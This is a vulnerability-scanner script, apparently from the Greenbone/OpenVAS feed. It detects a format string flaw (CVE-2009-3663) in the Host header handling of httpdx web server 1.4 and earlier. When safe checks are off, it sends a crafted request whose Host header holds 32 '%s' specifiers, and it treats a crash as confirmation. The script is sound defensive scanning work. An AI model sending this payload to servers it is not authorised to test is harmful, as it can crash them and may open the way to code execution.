httpdx 'h_readrequest()' Host Header Format String Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.800961");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2009-10-23 16:18:41 +0200 (Fri, 23 Oct 2009)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_cve_id("CVE-2009-3663");
  script_name("httpdx 'h_readrequest()' Host Header Format String Vulnerability");
  script_xref(name:"URL", value:"http://secunia.com/advisories/36734");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/9657");
  script_xref(name:"URL", value:"http://www.vupen.com/english/advisories/2009/2654");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Denial of Service");
  script_dependencies("gb_httpdx_server_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("httpdx/installed");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to crash an affected server or
  execute arbitrary code via a specially crafted request.");

  script_tag(name:"affected", value:"httpdx Web Server version 1.4 and prior on windows.");

  script_tag(name:"insight", value:"A format string error exists in the 'h_readrequest()' [httpd_src/http.cpp]
  function when processing the HTTP 'Host:' header.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Upgrade to httpdx Server version 1.4.1 or later.");

  script_tag(name:"summary", value:"httpdx Web Server is prone to Format String vulnerability.");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");
include("version_func.inc");

httpdxPort = http_get_port(default:80);
httpdxVer = get_kb_item("httpdx/" + httpdxPort + "/Ver");
if(isnull(httpdxVer)){
  exit(0);
}

if(!safe_checks())
{
  useragent = http_get_user_agent();
  sndReq = string('GET /',' HTTP/1.1\r\n',
                  'VT: deflate,gzip;q=0.3\r\n',
                  'Connection: VT, close\r\n',
                  'Host: ', crap(length: 32, data: "%s"), '\r\n',
                  'User-Agent: ', useragent, '\r\n\r\n');
  rcvRes = http_send_recv(port:httpdxPort, data:sndReq);
  rcvRes = http_send_recv(port:httpdxPort, data:sndReq);
  if(isnull(rcvRes))
  {
    security_message(port:httpdxPort);
    exit(0);
  }
}

if(version_is_less(version:httpdxVer, test_version:"1.4.1")){
  report = report_fixed_ver(installed_version:httpdxVer, fixed_version:"1.4.1");
  security_message(port: httpdxPort, data: report);
}

exit(99);